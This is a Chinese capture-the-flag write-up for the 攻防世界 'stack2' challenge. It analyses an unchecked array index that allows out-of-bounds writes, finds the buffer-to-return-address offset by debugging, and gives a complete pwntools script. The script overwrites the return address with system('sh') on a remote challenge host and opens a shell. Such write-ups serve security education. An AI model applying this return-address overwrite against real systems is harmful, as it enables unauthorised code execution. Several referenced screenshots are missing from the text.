攻防世界 stack2

    科技2024-11-20  6

    1.题目

    2.IDA分析

    3.分析

    本地存在明显的数组越界漏洞,选择3修改数据时,没有检查是否越界,直接操作指针进行修改。所以我们只要利用这个漏洞构造system的调用即可(注意,function区的hackhere方法不可用,调用会提示不存在bash。。。)

    所以这道题目最难在于addr_buf与addr_ret之间的距离。一开始看ida的栈信息,以为是74h,结果溢出失败。

    这种情况很明显是编译器做了什么处理,所以只能动态调试。

    在show data方法里面下断点,位置:0x804877c

    调用printf方法之前将eax push进栈,很明显eax是printf的参数,看寄存器信息,也证实了,eax=7.发现edx保存的地址所指向的单元的内容也是7,继续往上看汇编语句:

    可以看到lea edx,[ebp+var_70],这条语句就是把buf的地址给edx,查看edx保存的地址所保存的内容:

     

    ok,没有问题,addr_buf=0xffffcec8.

    接下来在结尾处断电,获取addr_ret的地址:

    注意一定要走到ret这步,因为ret的上一步修改了esp的值,只有到ret这步,esp保存的值才是addr_ret。所以addr_ret=0xffffcf4c

    system的地址可以ida直接获得,sh的地址获取如下:

    exp如下:

    from pwn import * def write_addr(index,value,io): io.sendline("3") io.sendlineafter("which number to change:\n",str(index)) io.sendlineafter("new number:\n",str(value)) io = remote("220.249.52.133","42973") context.log_level = 'debug' addr_buf=0xffffcec8 addr_ret=0xffffcf4c index = addr_ret - addr_buf addr_sys = [0x50,0x84,0x04,0x08] addr_sh = [0x87,0x89,0x04,0x08] io.sendlineafter("How many numbers you have:\n","1") io.sendlineafter("Give me your numbers\n","1") for i in range(4): write_addr(index,addr_sys[i],io) index = index+1 for i in range(4): write_addr(index,addr_sys[i],io) index = index+1 for i in range(4): write_addr(index,addr_sh[i],io) index = index+1 io.sendline("5") io.interactive()

     

    Processed: 0.021, SQL: 8